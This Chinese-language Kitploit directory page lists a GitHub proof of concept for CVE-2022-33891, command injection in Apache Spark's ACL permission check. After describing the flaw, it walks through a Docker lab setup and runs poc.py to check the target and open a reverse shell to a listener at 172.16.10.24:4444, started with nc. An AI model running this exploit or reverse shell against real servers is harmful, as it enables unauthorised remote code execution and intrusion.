Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-33891 | Kitploit
工具/GitHubGitHub/asepsaepdin/cve-2022-33891
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育
GitHubasepsaepdin/cve-2022-33891

CVE-2022-33891

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-33891 - Apache Spark 命令注入漏洞

Python


⚠️ 仅用于教育和授权的安全研究目的

原始漏洞利用作者

非常感谢原始 PoC 作者 AkbarTrilaksana

描述

Apache Spark UI 提供了通过配置选项 spark.acls.enable 启用 ACL 的功能。借助身份验证过滤器,它可以检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL,HttpSecurityFilter 中的一条代码路径可能允许某人通过提供任意用户名来执行身份冒充。恶意用户随后可能能够访问一个权限检查函数,该函数最终会根据其输入构建 Unix shell 命令并执行。这将导致以当前运行 Spark 的用户身份执行任意 shell 命令。此漏洞影响 Apache Spark 3.0.3 及更早版本、3.1.1 至 3.1.2 版本,以及 3.2.0 至 3.2.1 版本。


步骤指南

  1. 首先,克隆仓库

    root@kitploit:~
    git clone https://github.com/asepsaepdin/CVE-2022-33891.git
    
  2. 切换目录

    root@kitploit:~
    cd CVE-2022-33891
    
  3. 安装依赖项:

    root@kitploit:~
    pip3 install -r requirements.txt --break-system-packages
    
  4. 启动容器

    root@kitploit:~
    docker compose up
    
  5. 在新的终端中,运行命令

    root@kitploit:~
    docker exec -it CVE-2022-33891-spark-1 /bin/bash
    
  6. 在容器的 bash 会话中,输入:

    root@kitploit:~
    echo "spark.acls.enable       true" >> conf/spark-defaults.conf
    
  7. (可选)使用 cat 查看 spark-defaults.conf 的内容,以确保其看起来正确。

  8. 退出交互式 bash shell,并按 Ctrl-C 停止 docker-compose 进程。

  9. 容器正常关闭后,重新运行 docker-compose up

    root@kitploit:~
    docker compose up
    
  10. 检查目标是否存在漏洞:

    root@kitploit:~
    python3 poc.py -u http://localhost -p 8080 --check
    
  11. 从攻击者的角度来看,远程代码执行对于获取交互式 shell 至关重要。因此,执行以下命令将基于 bash 在攻击者的 4444/tcp 端口上触发一个 telnet 反向 shell:

    root@kitploit:~
    python3 poc.py -u http://localhost -p 8080 --revshell -lh 172.16.10.24 -lp 4444
    
    root@kitploit:~
    nc -nlvp 4444
    

致谢

  • https://github.com/AkbarTrilaksana/cve-2022-33891
  • https://nvd.nist.gov/vuln/detail/cve-2022-33891
下载工具